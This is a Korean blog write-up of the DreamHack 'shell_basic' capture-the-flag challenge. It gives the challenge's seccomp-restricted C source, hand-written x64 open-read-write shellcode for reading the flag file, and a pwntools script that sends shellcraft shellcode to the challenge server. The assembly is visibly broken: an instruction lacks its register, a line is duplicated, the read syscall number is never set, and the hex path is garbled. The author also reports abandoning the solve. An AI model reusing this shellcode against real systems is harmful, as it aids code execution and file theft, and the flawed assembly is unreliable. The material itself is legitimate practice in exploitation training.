rsp-∞

[DreamHack] shell_basic 본문

Write-ups/system

[DreamHack] shell_basic

portrait.kim 2024. 5. 12. 13:03
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}



void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);

  if (ctx == NULL) {
    exit(0);
  }

  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}


void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();

  init();

  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);
}

 

 

드림핵에서 flag 파일의 위치를 제공하고 있다. main 함수가 아닌 다른 함수들이 위 시스템콜을 사용하지 못하도록 되어 있으므로, 해당 flag 파일을 open, read, write하는 방식을 사용할 수 있다.

 

open : 시스템 콜 번호 0x2(const char* filename)
read : 호출번호 0x0(파일 디스크립터, 데이터를 저장해 둘 버퍼, 읽을 데이터의 크기)
write : 호출번호 0x1(출력을 위해 첫 번째 인자 1)

 

작성할 셸코드를 asm으로 작성하기 위해 먼저 flag 파일의 위치를 16진수로 바꿔 주어야 한다.

 

 

x64 아키텍처는 리틀 엔디언 방식으로 스택에 값을 집어넣는다. 문자열로 들어가야 하므로 위 16진수를 역으로 정렬하고 앞에 00을 붙여 준다. (문자열이 항상 null을 뜻하는 00으로 끝나기 때문)

즉, 00676e6f6f6f6f6f6f6cf53796f556d616e6f57616c666f23696371626f5c6c6568637f256d6f686f2이다. 이것이 파일의 경로를 나타내는 것이므로 이를 스택에 push한다.

 

	push 00
	mov rax, 0x676e6f6f6f6f6f6f
	push rax
	mov rax, 0x6c5f73685f656d61
	push rax
	mov rax, 0x6e5f67616c662f63
	push rax
	mov rax, 0x697361625f6c6c65
	push rax
	mov 0x68732f656d6f682f
	push rax
	mov rdi, rsp
	xor rsi, rsi
	xor rdx, rdx
	mov rax, 0x2
	syscall

 

스택에 파일의 경로를 모두 push 하고 open 하는 기능까지 구현한 코드이다. 드림핵에서는 하위 5줄을 통해 파일을 open한다. 

 

	mov rdi, rax
	mov rsi, rsp
	sub rsi, 0x30
	mov rdx, 0x30
	mov rdx, 0x30
	syscall

 

read하는 코드. rsi는 파일에서 읽은 데이터를 저장할 주소인데, 데이터를 0x30만큼 읽을 것(rdx)이므로 rsi에 0x30만큼의 크기를 할당하여 준다.

 

	mov rdi, 1
	mov rax, 0x1
	syscall

 

write하는 코드이다. 출력이 stdout이므로 rdi를 0x1로 설정한다. 이를 모두 종합하여 asm 파일을 만들었고, 전체 코드는 아래와 같다.

 

section .text
global _start

_start:
	push 00
	mov rax, 0x676e6f6f6f6f6f6f
	push rax
	mov rax, 0x6c5f73685f656d61
	push rax
	mov rax, 0x6e5f67616c662f63
	push rax
	mov rax, 0x697361625f6c6c65
	push rax
	mov 0x68732f656d6f682f
	push rax
	mov rdi, rsp
	xor rsi, rsi
	xor rdx, rdx
	mov rax, 0x2
	syscall

	mov rdi, rax
	mov rsi, rsp
	sub rsi, 0x30
	mov rdx, 0x30
	mov rdx, 0x30
	syscall

	mov rdi, 1
	mov rax, 0x1
	syscall

	xor rdi, rdi
	mov rax, 0x3c
	syscall

	mov rax, 0x3c
	mov rdi, 0

 

드림핵에서 제시하는 스켈레톤 코드에 이를 대입한다. 그런데 나는 드림핵에서 알려 준 파일 수정 방식과 컴파일이 오류만 내고 제대로 작동하지 않았다. 몇몇 라이트업을 찾아보니 shellcraft()를 사용한 분들이 계셔서 나도 일단은 shellcraft를 사용하여 문제를 풀기로 했다.

 

from pwn import *

p = remote("host1.dreamhack.games", 13295)

context.arch = "amd64"

path = "/home/shell_basic/flag_name_is_loooooong"

shellcode = shellcraft.open(path)	

shellcode += shellcraft.read('rax', 'rsp', 0x30)	
shellcode += shellcraft.write(1, 'rsp', 0x30)	
shellcode = asm(shellcode)	

payload = shellcode   
p.sendlineafter("shellcode: ", payload)  
print(p.recv(0x30))

 

shellcraft를 사용하여 페이로드를 작성하였으나 temporary failure in name resolution 오류가 발생했고, 구글링하여 nameserver에 8.8.4.4를 추가해 주었는데도 똑같은 오류가 발생하여 풀이는 여기서 중단했다.